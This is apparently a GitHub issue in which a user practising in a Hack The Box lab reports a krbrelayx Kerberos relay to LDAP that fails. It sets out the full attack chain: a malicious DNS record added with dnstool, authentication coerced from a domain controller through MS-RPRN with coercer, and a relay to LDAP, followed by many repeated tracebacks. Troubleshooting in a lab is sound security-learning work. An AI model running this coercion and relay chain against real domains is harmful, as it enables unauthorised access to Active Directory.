Skip to content

Issue while relaying to LDAP #61

@NULLhere

Description

@NULLhere

First of all, thanks for sharing with us your knowledge and this tool(:
I'm doing some lab on HTB and I wanted to learn more about this tool, so I started relaying to SMB, ADCS, LDAP. With SMB and ADCS everything works great, but LDAP gives me some errors. Can you please a look?

proxychains python3 dnstool.py -u 'dc02.dev.inlanefreight.ad\user' -p 'psw' -r "DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.14.218" --action add -t A 172.16.210.3 --tcp

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[-] Connecting to host...
[-] Binding to host
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[+] Bind OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:53 ... OK
[-] Adding new record
[+] LDAP operation completed successfully

roxychains coercer coerce -u user -d dev.inlanefreight.ad -p 'psw' -t dev.inlanefreight.ad -l DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -v
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
______
/ / ___ _____________ _____
/ / / __ / _ / / / _ / /
/ /
/ /
/ / / / / // / / v2.4.3
_
/_
/_
_/
/ _/_// by @Podalirius

[info] Starting coerce mode
[info] Scanning target dev.inlanefreight.ad
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:135 ... OK
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49669,49673,49676,49679,49691,49727
[+] Coercing 'dev.inlanefreight.ad' to authenticate to 'DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[+] DCERPC port '49679' is accessible!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? C
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:49679 ... OK
[!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? C
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:445 ... OK
[...]

proxychains python3 krbrelayx.py -debug --target ldap://dc02.dev.inlanefreight.ad
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/attacks/init.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
[] Protocol Client LDAPS loaded..
[
] Protocol Client LDAP loaded..
[] Protocol Client SMB loaded..
[
] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded..
[
] Running in attack mode to single host
[] Running in kerberos relay mode because no credentials were specified.
[
] Setting up SMB Server

[] Setting up HTTP Server on port 80
[
] Setting up DNS Server
[] Servers started, waiting for connections
[
] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[
] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[
] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[
] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
[*] SMBD: Received connection from 10.129.229.207
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.210.3:389 ... OK
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
